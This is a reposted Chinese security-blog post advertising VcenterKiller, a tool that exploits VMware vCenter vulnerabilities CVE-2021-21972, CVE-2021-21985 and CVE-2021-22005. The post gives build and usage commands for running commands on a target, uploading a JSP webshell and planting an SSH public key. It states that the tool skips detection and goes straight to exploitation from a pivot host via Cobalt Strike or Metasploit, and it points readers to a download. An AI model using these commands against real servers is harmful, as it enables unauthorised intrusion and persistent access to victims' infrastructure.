一款针对Vcenter的综合利用工具 VcenterKiller(一键上传webshell)

admin 2022年10月7日20:27:31评论95 views字数 861阅读2分52秒阅读模式

===================================

免责声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。

0x01 工具介绍

一款针对Vcenter的综合利用工具,包含目前最主流的CVE-2021-21972、CVE-2021-21985以及CVE-2021-2205,提供一键上传webshell,命令执行或者上传公钥使用SSH连接,一般Vcenter都放在内网,并且漏洞特征也都是烂大街,像什么fscan啦一扫就出来了,那么VcenterKiller就不是用来检测目标是否存在漏洞的,而是直接尝试利用,一般通过CS/MSF在跳板上来执行,所以去掉了其余花里胡哨的输出。


0x02 安装与使用

使用方法

go build -o main.exe
./main.exe -u https://192.168.1.1 -m 21985 -c whoami./main.exe -u https://192.168.1.1 -m 22005 -f test.jsp./main.exe -u https://192.168.1.1 -m 21972 -f test.jsp./main.exe -u https://192.168.1.1 -m 21972 -f id_rsa.pub -t ssh //传公钥


0x03 项目链接下载

1、通过阅读原文,到项目地址下载

2、关注公众号"web安全工具库",后台回复:20221007




· 推 荐 阅 读 ·

《深入理解现代JavaScript(Web开发与设计)》

本书首先介绍将新特性添加到 JavaScript 的流程,深入详细地描述每个新特性或者有调整的旧特性,并阐述示例用法、可能的陷阱。蒲松洋、程劭非、桑世龙、付强、吴成忠、时磊和马剑竹国内7位大咖联袂推荐!

原文始发于微信公众号(Web安全工具库):一款针对Vcenter的综合利用工具 -- VcenterKiller(一键上传webshell)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月7日20:27:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一款针对Vcenter的综合利用工具 VcenterKiller(一键上传webshell)https://cn-sec.com/archives/1335441.html

发表评论

匿名网友 填写信息